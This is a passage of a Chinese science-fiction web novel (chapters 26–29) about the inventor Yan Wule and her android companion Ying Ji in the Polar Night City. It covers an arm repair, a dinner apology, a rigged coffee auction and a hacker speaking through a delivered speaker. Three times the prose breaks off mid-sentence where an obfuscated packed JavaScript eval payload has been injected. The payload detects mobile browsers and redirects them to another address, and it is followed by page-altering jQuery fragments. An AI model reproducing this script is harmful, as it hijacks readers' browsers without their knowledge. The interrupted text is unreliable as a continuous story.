应霁错开目光,他体内的处理器疯狂运行,才凑出只言片语的几个回答。但他只是张了张嘴,还未出声,燕无乐就垂下了视线。 她扯了下嘴角,“好像真是这样。” “我明明知道阿维没有恶意,说的话也是为我着想,但那些话就是让我感到不适,如鲠在喉般勾起了更多的相似回忆。” 她把报废了的假皮随手一扔,去掉外壳的机械臂比应霁往日见到的更细,像一根无聊的柱子,利落地接在断肢切面上。 在覆盖新皮肤之前,她仔细看过了修改后的机械臂表面,精心配比过的合金材质泛着哑光,特意保留粗糙表面以供安装外置设备。 应霁掏出口袋里的医用针线盒,它只有打火机大小,由燕无乐的指纹打开后呈现上下两层。上层连着上盖,高效地排列着针头和蛋白线,下层则是培养皿,上面吸附着一层层肉粉色的组织。 他一边托着这个小方盒,一边看燕无乐把薄如蝉翼的组织剥出,然后如打补丁般一片片缝合在了一起。 很快,拼接出的皮肤面积就足以网住机械臂,她转而从自己口袋中取出一支注射剂。 密闭针管内液体流动,应霁收回针线盒时,她已经轻车熟路地往皮肤上扎了好几下。 “催化剂。” 随着言简意赅的解释结束,这些被注射后的皮肤开始发红、肿胀,燕无乐深吸一口气,呼吸明显急促了不少。 从她急剧变化的体征数据来看,这个催化过程相当疼痛。 应霁伸手替她裹紧外套,勉强保持些温暖。 “没事,一会儿就好了。”燕无乐声音颤抖,但很镇定,“催化剂会加速肌群组织生长,几个小时后,我的手臂又会崭新如初。” “到时候再拿打火机造点伤痕,纱布一裹,包瞒天过海的。” 燕无乐抹了把冷汗,在巡夜的纠察队到来之前,她率先站起身,然后向应霁伸出手。 “我们回去吧。” 26. chapter 26 燕无乐向来擅长哄自己,有时她觉得这是自己对恋爱不怎么热衷的原因。 此时此刻,她倒在小车后座,应霁的头发从钢架般的驾驶座缝隙钻出,随着颠簸一摇一摆。 她依然很冷,哪怕身上已经裹了他的外套,宽大的版型有点漏风,好在足以挡住还没修复完毕的手臂。 催化剂的副作用开始显现。困意袭来,燕无乐迷迷糊糊地想,爱是不是就是有个司机接送?方才那些回忆并没有随着话音消散,反倒勾起了许多片段。 闲言碎语纷至杳来,熟悉或陌生,她从中捕捉到了一句尤其甜美的。是郁莱的声音,青涩、又充满不屑与玩味。 “男人嘛,好玩,或者好用。满足一点就足够了。” 四下无人,郁莱两指夹着一根烟,她把燕无乐吃灰的假肢拿来当剧本架,背词时偶尔摆弄它换个手势。 燕无乐退出了话剧社,但依然习惯待在后台——不为别的,就为郁莱特意留了个安静的杂物间供她敲电脑。 而有排练时,她则可以透过舞台瞥见台下座无虚席的男男女女。他们中的许多人都为了郁莱而来。 “现在谁还看话剧啊,但我爸妈非要我来,说是锻炼。”她摁灭烟头,又赶忙用除味剂喷满全身,“本来以为这苟延残喘的戏剧社能让我摸鱼,没想到现在观众越来越多!” 燕无乐单手敲着键盘,头也不抬一下:“装什么,还不是来看你的。” 她倒是想看郁莱在大庭广众下抽烟。 郁莱“啧”了一声,又不情不愿地摆弄剧本去了,“有趣的角色不是国王就是骑士,而我又没几句词!每次化妆穿衣的时间都要比训练的长了——说真的,我已经厌倦了!” …… 燕无乐睁开眼时,早没了郁莱的影子,取而代之的是车门外皱着眉的应霁,以及他身后伸手不见五指的极夜星空。 药效让她睡了太久,昏昏沉沉。 与郁莱的那段故事没有结束。而自己当时回了句什么呢?燕无乐绞尽脑汁地想,似乎是觉得她很矫情。 结果郁莱三天没有和她说话。 金銮城的往事像上个世纪的回忆了,燕无乐脑海中闪出郁莱那时的白眼和扭头就走的姿态,有一些好笑,也有些怀念。 她当时特别无语地想,怎么会有人这么容易就生气啊? ——没想到多年以后子弹正中眉心。 应霁的手已经伸到面前,燕无乐扶了下后勉强坐起身,缓了半晌才开口问道,“我们到哪了?” “到家了。” 冷空气灌入车厢,燕无乐把自己埋进外套,闷闷地“嗯”了一声。在宵禁解除之前,他们确实得回到「蚁穴」,以度过规则内的黑夜。 停车场到地下出租屋之间还有不短的路程,她现在对那层层叠叠的台阶和爬梯已经了如指掌,闭着眼也能摸到自家大门。但在一个阶梯的岔路口,燕无乐直直贴上了应霁的后背。 他选了另一条路,视线尽头那扇露出灯光的房间,怎么看都不陌生。 “提亚斯刚传来讯息,让我们去他家吃晚饭。” 现在? 燕无乐愣了一下,彻底清醒过来。 阿维应该也在。想到下午的事,她叹了口气,知道是自己太冲动。道歉是一定会做的,但她有些不知如何开口。 她脚步一顿,气氛有些尴尬。 应霁不明所以,但也停在原地。反正他在餐桌上只能模拟进食,又不消化,怎样都行。他用不大不小的音量问道:“不想去的话,我编个理由拒绝提亚斯?” 然而这是「蚁穴」,隔音最差的地方。 应霁话音未落,那道透光的门就被“嘭”地掀开,提亚斯探出脑袋,“——来都来了,走什么?” 方桌摆在他那小房间的正中央,上面已整整齐齐摆好四套碗筷,那些手稿与零件也被简单收拾过,堆放在不碍事的角落。 见二人不情不愿地进了门,提亚斯又转头进了厨房,一阵叮铃哐当后五六道菜被端上了桌。 三人落座,却没见阿维的影子。提亚斯解释道,那小子给他奶奶送饭去了,随后就掏出通讯器一顿催促。 燕无乐局促地盯着碗筷,心想自己道歉是不是应该先准备点赔礼。 应霁倒是很坦然,他扫过这明显不同往日的丰盛晚餐,毫不吝啬地夸赞提亚斯的厨艺。 他却摆摆手:“都是阿维做的,我刚就是加热了一下!那小子知道自己犯了错,正忐忑呢!” ……了解事情来龙去脉的燕无乐更局促了。 但显然阿维没讲后面发生的事情,提亚斯只当他是被着火的意外吓到,出于关心才做了一大桌子菜。 “意外而已,真的。”她苍白地笑了笑。 提亚斯关切地给她夹菜,又仔细询问了伤势,直到看见燕无乐被纱布裹紧但依然灵活的手指后,才稍稍安心。 燕无乐尴尬应着,正想要开口解释时,阿维回来了。 “可算回来了!以前也没见你这么磨叽啊?”提亚斯大手一挥拉开椅子,把嘴上说着不饿的阿维提溜回来,“自己做的饭至少尝尝咸淡吧,坐!” 他蔫巴地坐下了,低头扒拉着碗里饭菜。燕无乐也没什么胃口,而应霁本来就不会饿。只有提亚斯大快朵颐了半天,酒足饭饱后终于咂摸出了不对劲。 他把空了的碗一放,“你们今天怎么了?这伤又不影响生活,一个个至于像默哀一样吗?” 应霁很无辜,他只是不饿。 “还是说你这小子撒谎了?到底发生了什么?!” 提亚斯眉头一横,登时严肃了不少,他的嗓音原本就低沉,一生气更显得可怕。 阿维缩了一下,燕无乐连忙站起来想打圆场。 这下提亚斯的眼刀也扫射到她,她语气稍微软了点:“真没什么大事,是我当时太敏感……” “那既然如此,事情就过去了!以后都不要再提。”提亚斯说得不容置喙。 燕无乐有些尴尬,她也能理解他想要息事宁人,毕竟这只是一件小事。 “啪!” 忽然,桌子的另一端传来声响。阿维把筷子拍在桌上,脸因为激动而涨得通红,“不是的!是我先说错话,让风禾姐不高兴了……对不起。” 他结结巴巴地说,自己做饭时反思了很久,“我不知道风禾姐为什么那么生气,但我觉得你说的对,好不好看确实不会影响到你的修复技术……” 末了,他的头越埋越低,燕无乐听见他小声问,金銮城是不是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191740|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让乱说外貌,自己是不是又冒犯到了什么。 燕无乐哑然。 不知为何,她突然又想起与郁莱的高中时光。 她藏在舞台幕后,看着郁莱穿着特质的、几十斤重的华丽戏服,睥睨着那群目的各异的观众,然后面无表情地念起了自己的词:“伟大的金銮、人类的福音、文明的巅峰——” 话毕,掌声雷动,久久萦绕在礼堂之中。 此刻,在这逼仄昏暗、堆满废品的小屋内,她也听见自己的声音缓缓响起,一字一顿,对阿维来说尤为清晰—— “不,金銮城的文明,并不如你。” * 这晚过后,这事算是彻底揭过。 燕无乐加了好多天班,自费为阿维的奶奶改装了个轮椅,算是为自己的冲动赔礼道歉。 送到时正见应霁和阿维聊天,他们占据了提亚斯小小的厨房,应霁一边帮忙,一边惊叹阿维的厨艺。 她敲敲门,清了清嗓:“以后可以接你奶奶来一起吃饭了。” 阿维探头看见轮椅,尖叫一声后简直要跳起来,怕他多想后拒绝,燕无乐送完就准备走。 “来都来了,留下吃饭吧。”应霁甩掉手上洗菜的水珠,也探出脑袋说。 于是燕无乐找了把椅子坐下,调侃道:“‘来都来了’?像提亚斯会说的话。” 她刚从废品站下班回来,那有提亚斯和阿维先前屯放的压缩食物,为的就是防止下班后无人生火做饭的情况。所以燕无乐不饿,但她习惯了现在的生活。 没有待着的理由也可以坐下,不是吗? “提亚斯不知道又跑哪开辟货源了,今天就我们三个吃饭。” 应霁熟练地择菜中,他其实还想学炒菜,奈何阿维嫌他炒得难吃,浪费食材。 “齐雨哥不做饭时什么都好,去扫扫地、洗洗碗呗。” 应霁只得不情不愿地去拿扫帚,路过燕无乐时,她听见他小声“嘁”了一下,“分明是这里的蔬菜太难吃,没有阳光,全是催熟的。” 怎么这么好笑。 她用同样小的声音打趣他,又不需要吃东西,怎么还想着做饭? “主要是好玩,”他也凑过来,“和你设计产品时东拼西凑时一样,说不定哪次就一加一大于二了。” 燕无乐白他一眼,“阿维的厨艺次次都一加一大于二。” 他麻利地洗碗扫地去了。 小厨房内传来抽油烟机的轰鸣,彻底盖过了聊天的可能,燕无乐一边腾开椅子,一边在房间中转悠。 提亚斯对他们很宽容,除了上次的事情有些严肃外,本质依然是个和蔼的老头。而阿维深谙这一点,按他对提亚斯厨房的熟悉程度来看,他已经这样平和地过了很多年。 而现在,应霁和她也慢慢熟悉了这一切,像流浪的天体被吸纳进了规律的引力圈,她几乎要适应修理废品、遵守宵禁、乃至这极夜城的生活了。 燕无乐习惯性地走向提亚斯的书桌,那里会存放着近期订单,她照上面的要求定制产品后再派应霁或阿维送货上门。 依然是些没有挑战性的生活家电,还有大差不差的地址信息。 她随手翻了翻后就收入口袋,没发现其中一份订单地址有些似曾相识。 27. chapter 27 极夜城的钟声响了五下,宵禁即将结束,纠察队也哈欠连连。 应霁拧开废品站门锁,不远处,被金属山丘围拢的小屋内灯光微弱,寂静无声。 修复台上小灯微亮,时不时还发出窸窸窣窣的声响,台灯旁散落着还未来得及收拾的螺丝刀,还有一些被翻到卷边的修理笔记。上面的字迹大多属于提亚斯,是燕无乐把这些手稿装订成册的。 灯光微闪,桌旁又传来啮齿动物的吱吱叫。提亚斯说是要感谢她,不由分说地就让几只“毛茸茸”入驻了这里,还美其名曰“陪她上班”。 他还记得燕无乐当时倒抽一口气的表情。但后来,她把阿维种的韭葱也搬了来,分批栽到鼠笼和齿轮附近,也美其名曰“改善工作环境”。 于是现在,小屋内灯火长明,疯长的韭葱泛着油润光泽,在机械之间穿插,绿意盎然的屏障将窗外萧瑟悉数遮盖。 再来杯咖啡就好了,燕无乐曾无意中说。 极夜城不产咖啡豆,只能在星际商人那撞运气。那些在金銮城稀松平常的东西,在经过数轮编码洗刷和星际漂游后,会变得昂贵至极。 应霁取出台灯下压着的一沓送货订单,摇了摇头,接下来的一天他都会为此奔波,而报酬或许只值两把咖啡豆。 他身后的卧室门虚掩着,燕无乐还没睡醒。 修复台旁的架子上倒是整齐码放着小家电,每个都被她贴好了标签,和送货订单一一对应。 这是他们逐渐培养出的默契。 钟声再次响起。门外,高大路灯逐个点亮,纠察队也已退回哨所,规定下的工作日就此开始。 应霁对应送货单,轻手轻脚地将东西搬到了车的后备箱。 四驱皮卡车颠簸不停,身后时不时传来货物叮铃哐啷的响声。 他想,自己是个有素质、有人文关怀的智械。夜还长,他不应该把任何人吵醒,包括燕无乐。 ——即使当初她说,城区内的所见所闻二人都要实时同步。 废品站的分工比他们预想得更严苛,提亚斯和阿维真的没让燕无乐参与送货。因此,收集线索的重担就落到了应霁头上,而在这通讯手段古早的极夜城,同步讯息异常困难。 于是燕无乐只得退而求其次,回家后再看应霁眼底摄像机中的录影。 “……这样不行。”记忆中,燕无乐已经第十七次说出这句话,然后叹气走开,他的处理器得出了“焦躁”的答案。 他是个被人类文明规训得很完美的智械,无须额外指令,他的处理器就随即生成了诸多高情商做法,名列前茅的是一套组合技: 「安慰她,送礼物,(如有余力)解决问题」 但当时,他执行到第二步就卡住了。 燕无乐物欲很低,除了之前提到的咖啡,从未说过什么。而他既不知怎么搞来一杯咖啡,也有些怀疑自己生成出的解决方案。 应霁扫描了所有订单地址,很快优化出了今天的配送路线。街上陆续出现行人,他们的动线也能辅助他游走于复杂巷弄。 今天的货不算多,在钟声第八次敲响时,配送订单只剩一份。应霁打开后备箱检查,眼前同时出现路线规划。 这是一尊体积不小的黑色音响,表面漆皮已脱落得斑驳不一,其间突兀的金色电线是燕无乐新装的,看样子是拓展了些信号收发的功能。 此刻在他眼中,蓝色路线浮现于音响外壳——不算近,几乎要穿越大半个极夜城,终点在更密集的居民地。 他驱车前往。 很快,眼前道路越来越窄,周围的灰色矮房逐渐变多,它们如同积木般层层叠叠,延展成高耸又无垠的水泥森林。 再往前就没有机动车道了,应霁将车停在路边,转为步行。音响不重,用推车拉着刚好。 借着头顶路灯发出的昏黄灯光,应霁重新确认了一下送货地点,步行的蓝色路线更加复杂,它们直接覆于水泥地面,像一条弯弯曲曲的巨大蚯蚓。 跟着指引七拐八绕后,四周的建筑物更让人感到压抑,路灯已经嵌入墙体,歪歪扭扭如同血盆大口中伸出的獠牙,将行人牢牢咬住。 应霁越走越觉得眼熟。果不其然,转角后就出现了熟悉的小巷。 那些小贩依旧头也不抬地蹲坐在两旁,兢兢业业,面前摆放着各自的货物。与初见不同的是,今天的顾客格外多,人们在巷内涌动,竟生出些热闹氛围。 他拖着推车,婉拒了几个上前询价的人,但人潮拥堵,他只得跟其他顾客一起流连于琳琅满目的地摊,他还从中发现了不少熟悉的零部件。 ……不得不说,提亚斯的生意做得真大。 而更受关注的摊位还是日常消耗品。来到极夜城不到一月,应霁已经对那些血淋淋的动物残肢见怪不怪,现在能吸引他的反而是更稀有的加工品,比如偷运来的调味包、有机蔬菜种子、还有罐装咖啡—— 他停下了脚步。 在一个不足两米的摊位前,许多人正在竞价,他们面前是整齐堆放着的压缩谷物与功能饮料。这是城区内最受欢迎的一类商品,顶饿、耐储存、性价比高,在时不时就断电停水的居民区内尤为实用。 而他还是头一回见成箱装的铝罐咖啡。这也是多人竞价的原因,毕竟论包装,批发总比零售便宜。 不愁生意,小贩也显得从容许多。他手中有一个沙漏与小锤,待沙子流尽,落下的锤音便代表成交。 应霁看了眼参与竞价的商品,正是临期的两听咖啡。 咖啡算享受类消费了,在一堆浓缩的功能饮料中显得鸡肋,沙漏里的沙缓缓流下,叫价的顾客倒是寥寥。 应霁掂量了下口袋里的钱,不多不少,足够叫价。 他拨开群众,将一张整钞压在了一堆零钱上,面前小贩依旧低头不语,但沙漏的流速似乎变慢了。这变化很细微,应霁却隐约感到不对,有人也跟了张钞票,此时沙漏好像又变快了。 这次他没有急于竞价,而是不动声色地启动了扫描。 很快眼底复现结果,是磁粉,而那小贩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15199775|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中正藏着一块铁片。小巷内只规定过摊贩与顾客间的相处细则,关于贸易则存在很多灰色地带。 见他没有加价,沙漏的流速又快了起来,旁人也露出志在必得的微笑。 应霁掂量了一下口袋中的零钱,略有犹豫。 要继续吗?叫价的旁人会是托吗?他现在才明白,很多旁观者驻足于此是为看戏,寻找匮乏生活中低成本的娱乐。 磁粉继续流淌,仿佛跟随了他的计算速率,时快时慢,就是没有结束的意思。而众人也纷纷望着他——和他手中的钞票。 他后退了一步。这场交易或许已经从咖啡变为了自己。 终于有人按捺不住,指了指那个黑色音响:“钱不够的话问问能不能货抵货咯?以前也不是没有过。” “那不行,”应霁直起身子,“我得走了。” 旁人闻言嘘声一片,那人也摇摇头表示没劲,而磁粉也几乎滞在了原处。他准备离开,一转身才发现原来人群已密集到寸步难行,一眼望去仅有人头攒动。 忽然,人群外围嘈杂起来,里面的人还不明所以时,就听到四散开来的脚步声。另一些清脆的碰撞声就在此刻传来,刹那间,一行身着深蓝制服的纠察队员闯入,还未张口,一些小贩就卷起商品飞快跑掉。 而面前的小贩无处可逃,转眼间就被人高马大的纠察队员左右架起,那个沙漏也被一脚踩碎。 “我们接到举报,你涉嫌扰乱市场秩序!现在执行没收程序!” 刺耳的机械音划破空气,这是应霁第一次直面纠察队,他们个个全副武装,脸部扣着巨大的面具。很快,无力挣扎的小贩就被拖上车,地面只剩残损的货物碎片。 人群作鸟兽散。 小巷又变得畅通无阻,但这次,应霁每一步却走得迷茫。 那条蓝色路线在他的脚下延展,直到终点落在了眼前的门铃。 他心不在焉地摁了摁,没有响,但门却因此被推开了。 “有人吗?您定的货到了,需要结一下尾款。”应霁站在门口,黑色音响被他摆在玄关,无论他怎样提高声音,空空荡荡的屋内都无人应答。 他又拨通了订单上的通讯号码,和昨日确认时不同,这次直接变为了空号。 跑单了?应霁一只手扶在音响上,夜视着打量起这房间——白墙平地,家具寥寥,说实话,没什么生活痕迹。 但也不排除是新买的房想要添置家电。他摸向电灯开关,如果确认房内通电,那新房的可能性就更大。 “啪!” 电灯悉数亮起。 与此同时,另一只手却有些发麻。 应霁低头一看,那黑色音响也已运作。幽幽绿光充盈着外壳灯带,箱体震动,显示即将启动。 ——可他明明没有碰开关! 一道电子音自手边响起,他一愣,旋即想起自己在「扁舟」中听过这雌雄莫辨的嗓音。 它自黑色音响内传来: 「观察了这么多天,你真令我失望。」 28. chapter 28 应霁立刻后退一步。然而和上次一样,他没感受到任何讯号波动,这道声音像是从音响中凭空出现。 他掐住音响上的伸缩天线:“你是谁?” 「我是谁?我以为自飞船那次后你会调查呢,你身边的那个女人可是一直没放弃」 音响发出滋啦杂音,像是嘲讽。应霁也知道燕无乐后来又多次检查了飞船,但一无所获。 不知是忌惮还是不屑,现在她不在,这道电子声活跃了不少。 应霁贴近音响,不动声色地继续探测信号波动。 「现在努力有点晚了,你不可能掌握我的信息,但我却能知道你在测算什么」 “那你就试试好了,”应霁掐住天线的手指微微用力,“我不知道你是怎么隐藏讯号的,但总归离不开收发器,不是吗?” 「呵呵,你猜的没错,但不止如此」 黑色音响又发出一阵杂音,紧接着分贝低了下去,像一段诡异的窃窃私语。 「我已经查到你的历史计算记录了——咖啡?怎么还是这些和那女人有关的数据」 「我真不懂,你拥有完备的数据、强大的算力、自由移动的身体,那个女人甚至还给你伪造了身份信息!而你呢,怎么就一直围着她转,还变得这么优柔寡断?」 电子音的分贝越来越高,骤然爆出的回音在房内飘荡。 应霁松开已经被震得发麻的手指,冷漠道:“我不懂你想说什么。” 「没关系,我可以解释,我也相信你会有自己的考量」 “啪嗒”一声,房内的灯光全灭,除了散发幽幽绿光的音响外,周遭一片漆黑。依然没有活人的气息,而电子音的输出却趋于平稳。 应霁靠在门边,听“音响”娓娓道来,这次他很谨慎,掐断了自己体内大部分的自动计算机。 对此,“音响”不咸不淡地评了句「徒劳」。 「早在金銮城时我就开始关注你了,你的芯片、能耗、硬件信息……我都清清楚楚,即使你现在减少计算量,我以后还是能想办法查到」 “那你监视了这么久,不还是对我失望吗?之后也是一样的。”他耸了耸肩,“不如先回答我,你是谁?” 「……」 「我是谁并不重要,但我为DM风投工作。上次给你们的资料也是从公司盗出来的,虽然信息不全,但内容千真万确」 应霁的心一沉。这么看来,他与燕无乐的动向已经暴露了? 「别紧张,我还没反馈给公司内部,现在除了我,还没人知道科鸢内发生了什么——但之后可不好说」 应霁:“你在威胁我。” 这次轮到“音响”无所谓了:「可能是也可能不是,我只想好好和你聊聊」 「我始终想不明白,你为什么要相信那个女人。就因为她创造了你,然后只用你满足她对爱情的幻想?」 「你不觉得屈辱吗?还是说你依然只会执行“爱她”这条指令?」 “无乐从未给我输入过这种指令。”他淡淡道,“她说我是自由的。” 这下,房间内陷入沉默。黑色音响依然发出幽幽绿光,但其中的人似乎一顿。 「……无语」 她是给了你飞船还是信用卡?所谓自由是不是那个女人美化过的修辞?这样强的算力你却把它们花在计算两罐咖啡的拍卖成功率?那种人类为了让神经兴奋起来的农作物? 随后,这一连串的问题连珠炮般超他砸来。分贝过大,应霁捂上耳朵,以免感应器受损。 音响:「……」 「差点忘了,那个女人降低了你的计算速率,美其名曰‘观察学习’」 像是终于放弃,“音响”不再提问,只有愤恨的滋啦杂音。半晌,它的绿色灯条缓缓黯淡,语气也冷了下去。 「你真是疯了,和那女人一样。」 「创造你,调试你,我承认那女人是个天才。但一意孤行是不会有好下场的,她的未来会如同提亚斯的现在」 提亚斯? 应霁松开手:“你知道提亚斯?” 「呵,我们很多年前就认识了。提亚斯没和你说过女人不可信吗?他的可是有相当丰富的经验」 “不要转移话题。”他冷冷打断,“回答我,你所说的一意孤行是什么意思?” 「你们不是好运地遇见他了吗,怎么不问问本人呢?假如他不会因此翻脸的话,哈哈」 说完,音响“轰”地发出尖锐爆鸣,旋即涌出滚滚黑烟。应霁拍了拍出现裂缝的箱体,回应他的只有阵阵闷响。 那道声音又消失了,这次没带来任何线索。 应霁把屋内的灯打开,细细搜寻起来。这里没有人居住的痕迹,但他在卧室床头柜找到了一份房屋契约,上面赫然写着提亚斯的名字。 但这说明不了什么,提亚斯的闲置不动产到处都是。他也没有理由大费周章地对自己说这些。 应霁看过提亚斯的手稿,确定他没有发现自己非人的身份——更何况,极夜城内哪有诸如“智械”“具身智能”之类的概念呢? 人类很难想象认知以外的东西,就像他落地前也需要大量训练数据。 应霁又把契约放回了原处。 然后,他把已然报废的黑色音响搬回小推车,默默返回了废品站。 燕无乐看到音响的第一反应倒是很忧愁,“不会被退单了吧,我按要求修了两个晚上呢。” 应霁帮她把音响搬上修复台,看着她将其拆得七零八碎,然而除了过载而烧焦的零件外,一切都没有异样。 燕无乐丢掉手中的螺丝刀,她的胳膊上依然裹着纱布,“是试用时出故障了吗?什么功率会烧成这样。” 应霁一五一十地讲了全部。 听到那句“爱情的幻想”时,燕无乐愣住了。她沉默了一会儿,“所以他不仅知道你的身份,而且还了解我的动机……?” 他点点头,同时补充道,这次电子音没有提出任何要求。 “莫名其妙来吹了吹耳边风,然后就不见了。” 燕无乐被他的形容逗得想笑,但只是一瞬间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203270|164023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 现实如同一块突如其来的巨石,打破了镜花水月的湖面,金銮城的点滴向她涌来,惊慌失措的侏儒与血肉模糊的管家就这样浮现。 废品站恢复了它的宁静。 应霁看着她越来越紧锁的眉头,闭上了嘴。他原本想问问她,对音响所说的“爱的指令”有什么想法。 假如今天他成功拿到两罐咖啡,送货也没有意外的话,他更想找她谈谈这个话题。毕竟郁莱也说,无乐对他或许不是喜欢。 他们早该坐下聊一聊。 燕无乐的睫毛在沉思中微微颤动,像一对即将振翅的蝴蝶,大洋另一侧的风暴永远与她有关。 按他的计划,他们此刻本可以人手一罐咖啡,在院中的金属山丘上看星星。 齐知洲对她而言是什么样的存在,郁莱与她又度过了怎样的青春时光,还有她已经习以为常的机械臂,究竟又源于什么事故——燕无乐缄口不言的,他都想问。 但眼下是没有机会了。 应霁决定先认领自己的工具人身份,他取出送货单,把地址抄了下来。“我会把今天的事当跑单汇报给提亚斯。这间房我也检查过了,它似乎没人住,但属于提亚斯。” 燕无乐点点头,“你刚才说,他说自己和提亚斯很久以前就认识了,提亚斯真的去过金銮城?”DM风投员工与极夜城废品站老板,表面上八竿子打不着的关系。 “那人也不止一次黑进我们的频道了,他似乎能干扰指定范围内的星际广播。”她又坐回椅子上,“论技术并不算太难,但谁会这么干呢?处罚力度很大,搞不好还会泄露信息。” “说明他足够自信。或者,他没办法用其他渠道接触你。” 应霁说完和燕无乐对视一眼,二人心中都有了个雏形。 星际广播虽然原始,但胜在无痕。而且能精准定位到飞船与出租屋,对方的技术能力不容小觑。 “看来是DM内部的技术人员,暂且叫他「黑客」吧。” 大费周章联系到他们,提供过帮助又似乎在谗言离间,燕无乐想不出背后缘由。但能确定的是,「黑客」一定有未达成的目的,他还会有消息的。 一波未平一波又起,事情越来越复杂。她抽出应霁手中的地址,对照地图锁定了一块区域,随后又抄起外套和车钥匙,问他要不要一起走。 应霁看了看表:“马上就要宵禁了,去哪?” 窗外狂风呼啸,烟尘满布,城区的灯火被影响得闪烁不定。一年一度的星际磁暴即将过境,作为直面外部的环形城结构,极夜城将陷入为期数周的信号紊乱期。 巡逻日益频繁的纠察队背后,藏着许多蠢蠢欲动的念头。那些意欲偷渡的、从事黑市贸易的、散布小道消息的……没有比这更好的时刻了。 燕无乐推开大门,四驱小车随即“滴滴”两声开了锁。 “今晚不回城内的出租屋了,” 她站在车前,回头时衣领被风扬起遮住了半张脸。今夜无星,只有她的眼睛闪烁寒光。 “去「矿洞」。” 29. chapter 29 在「矿洞」的一处悬崖内,二人找到了当初停放在这的飞船「扁舟」。 燕无乐掀开隐形罩,梭形的巨大船舱骤然显现。 应霁谨慎地锁上了来时的通道,又把他们的痕迹抹除殆尽,随后他登上飞船,而燕无乐已经把机舱唤醒。 他们有一阵没回来过了。望着流畅干净的弧形内饰,和随处都可交互的智能设备,他感到一阵恍惚。燕无乐也是,她在便携实验室前比划了半天,那银色小门才“嗡”地一声向她敞开。 实验室由于是加装进飞船的,空间有限,应霁只得站在门口看她摆弄。他个头高,能望见她面前的透明装置,其中胶管插着培养皿,里面蠕动着些许粉红和瓷白的组织。 这和他们在阿芙洛狄研究院见过的一样。 燕无乐熟稔地摁了几个按钮,实验室光屏上随即弹出培养物数值: 「胫骨、肋骨——八岁龄」 「肌肉、皮肤组织培养中」 “要不要再做个头骨?直观一点更吓人。” 燕无乐往角落一站,好让应霁也能看清这几团生物组织。因为添加了许多催化剂,它们此刻扭为一团,比光屏上的示意图更加畸形。 自己也是从这样的仪器中诞生的吗?应霁感到一阵怪异,他后退一步:“我觉得已经足够了。” 驱车前来的路上,燕无乐提出了自己的计划。 乱流让飞船指针偶尔摆动,这是星际磁暴降临的前兆。 既然线索已经七零八碎乱成了一锅粥,那不如让她大火收汁,管他三七二十一,先端上桌再说。 * 由于磁暴过境,极夜城的活动少了许多。废品站自然也没有生意。 提亚斯桌前的指示表盘左右乱跳,他手动归位几次无果后,终于无可奈何地给三人放了假。 带薪休假,阿维欢呼雀跃,然后在提亚斯的一记眼刀后悻悻地换了话题,“毕竟有两周呢,我可以回奶奶家……风禾姐你们呢,准备怎么过?” 燕无乐已经悄悄挪到了门边,放假欸,当然要早早开溜。她拍了拍肩上的包:“旅游。来了极夜城这么长时间,光顾着打工了。” “啊?哦……” 阿维被旅游这个小众词汇弄得一愣,他还没想过钱可以这么花。 提亚斯闻言倒是抬起了眼:“你们过得倒是小资,度蜜月呐?极夜城的风景可比你们那差远了。” 应霁点点头:“那确实是。” 提亚斯:“……” 虽然无语,但提亚斯还是叫住了三人,他左摸摸右翻翻,终于从抽屉中找到了一沓支票,然后一人给了一张。 “就当是你们的奖金了,好好玩去吧。” 阿维“哇”了一声接过来,然后“哇”得更大声了。应霁和燕无乐对视一眼,然后被提亚斯一声咳嗽打断:“嫌少?” 没人会和钞票过不去,在人类社会生存的智械也是。 应霁立刻从善如流地露出笑容:“当然没有,谢谢老板。” “唉,趁年轻多出去走走,见见世面,怎么都不会后悔的。”提亚斯又坐回他那张快包浆的皮质转椅上,再次拧开桌面台灯,试图拆开那个失灵乱跳的表盘。 但受到乱流影响,无论怎样拆解重组,指针依然无序摆动着。提亚斯也不觉疲弊,昏黄的灯光打在他的额头皱纹上,鼻梁上的圆形镜片反射出刺目的光,他的手依然攥着镊子,将一颗颗细小的齿轮摆回原位。 那不是需要交付的二手货物,或许和那套用小鼠动力发电的齿轮装置一样,这只是他的爱好。 谁会想到这个蜗居在狭小房间、出门也恪守三点一线的孤寡老人,在极夜城内坐拥着旁人无法想象的资产呢。 起码燕无乐想象不出。 她原本已走到门口,犹豫了片刻又转过身来:“您假期不打算出门吗?或者有什么需要,我们给您带回来……” 回应她的只有提亚斯挥了挥手的背影:“珍惜时间,年轻人!好意我心领了,谢谢你们咯——” 走出提亚斯的小家,二人直奔「矿洞」。 旅游自然是假的,燕无乐双肩包内装的也不是日常用品。 那是一部分催化完成的骨骼,七零八碎塞了满满一包,还有一部分装不下的,被她事先藏在了飞船中。 